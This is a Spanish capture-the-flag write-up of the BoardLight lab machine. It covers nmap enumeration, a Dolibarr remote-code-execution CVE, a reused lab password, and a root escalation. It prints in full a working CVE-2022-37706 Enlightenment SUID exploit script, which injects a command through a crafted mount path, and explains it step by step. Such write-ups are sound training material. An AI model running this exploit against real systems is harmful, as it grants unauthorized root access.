BoardLight

BoardLight
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Easy 25 Mayo 2024 cY83rR0H1t

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open --min-rate 5000 -Pn -n -vvv 10.10.11.11 -oG open_ports

BoardLight

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p <IP> -oN services_scan -vvv

BoardLight

Explotación inicial

echo "10.10.11.11 board.htb" >> /etc/hosts

BoardLight

BoardLight

BoardLight

CVE-2023-30253

Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.

https://github.com/Rubikcuv5/cve-2023-30253?tab=readme-ov-file

PoC

BoardLight

BoardLight

BoardLight

BoardLight

Enumeración / Movimiento lateral

BoardLight

larissa:serverfun2$2023!!

Reutilización de contraseñas.

BoardLight

Obtenemos la flag de user.

BoardLight

Elevación de privilegios

Enlightenment es un entorno de escritorio ligero y flexible para sistemas Linux y Unix. Inicialmente comenzó como un gestor de ventanas en 1997, pero ha evolucionado hasta convertirse en un entorno completo que incluye un conjunto de bibliotecas llamado Enlightenment Foundation Libraries (EFL). Este entorno es conocido por su bajo consumo de recursos y su diseño gráfico elegante, con efectos visuales y animaciones suaves.

Existe una vulnerabilidad para la version 0.23 con el codigo CVE-2022–37706 y resulta que existe un exploit para explotar esta vulnerabilidad.

BoardLight

Si buscamos en google CVE-2022–37706 encontramos un expoit en github.

https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit

La vulnerabilidad CVE-2022-37706 en Enlightenment se relaciona con un problema de path traversal en el gestor de ventanas. Este fallo permite que un atacante local eluda restricciones de seguridad y acceda a archivos arbitrarios en el sistema.

El problema reside en que el código de Enlightenment no maneja correctamente las rutas de los archivos, lo que permite utilizar secuencias como ../ (path traversal) para acceder a archivos fuera del directorio previsto. Si un atacante puede explotar esta vulnerabilidad, podría leer o modificar archivos del sistema, lo que representa un riesgo de escalada de privilegios o filtración de información sensible.

Impacto:

  • Acceso no autorizado a archivos fuera de los límites esperados.
  • Potencial escalada de privilegios si se manipulan archivos sensibles.

Solución:

Actualizar a una versión corregida de Enlightenment que cierre el vector de ataque asegurando la validación adecuada de las rutas de los archivos.

#!/bin/bash

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
    echo "[-] Couldn't find the vulnerable SUID file..."
    echo "[*] Enlightenment should be installed on your system."
    exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net

Este exploit aprovecha la vulnerabilidad CVE-2022-37706 en un archivo binario con el bit SUID activado, lo que significa que se ejecuta con privilegios de root. Aquí te explico cómo funciona el script:

Explicación paso a paso:

  1. Buscar el archivo SUID vulnerable: bash file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)

Se busca un archivo llamado enlightenment_sys que tenga el bit SUID activado (permisos -4000), lo cual le permitiría ejecutarse con privilegios de root. Si no se encuentra, el script termina.

  1. Crear directorios necesarios: bash mkdir -p /tmp/net mkdir -p "/dev/../tmp/;/tmp/exploit"

Se crean dos directorios: - /tmp/net: un directorio normal donde se intentará montar el sistema de archivos. - /dev/../tmp/;/tmp/exploit: el directorio que aprovecha la vulnerabilidad path traversal. El uso de ../ permite escapar del directorio /dev y escribir en /tmp, donde se colocará el exploit.

  1. Escribir un shell en /tmp/exploit: bash echo "/bin/sh" > /tmp/exploit chmod a+x /tmp/exploit Aquí se crea un archivo ejecutable llamado exploit que contiene un shell (/bin/sh), permitiendo obtener acceso a una shell de root.

  2. Ejecutar el binario vulnerable con parámetros maliciosos: bash ${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net El binario vulnerable se ejecuta con el comando mount, utilizando una combinación de opciones inofensivas (como noexec, nosuid) y un path traversal (/dev/../tmp/;/tmp/exploit). Esta secuencia le permite escapar del directorio previsto y ejecutar el archivo /tmp/exploit, que contiene el shell.

  3. Resultado: El exploit abre una shell con privilegios de root, ya que el binario vulnerable se ejecuta con el bit SUID, y la ejecución del archivo en /tmp/exploit proporciona acceso completo al sistema.

En resumen:

El exploit usa un path traversal (/dev/../tmp/;/tmp/exploit) para ejecutar un shell con privilegios de root aprovechando un binario SUID vulnerable en Enlightenment.

BoardLight

Leemos la flag de root.

BoardLight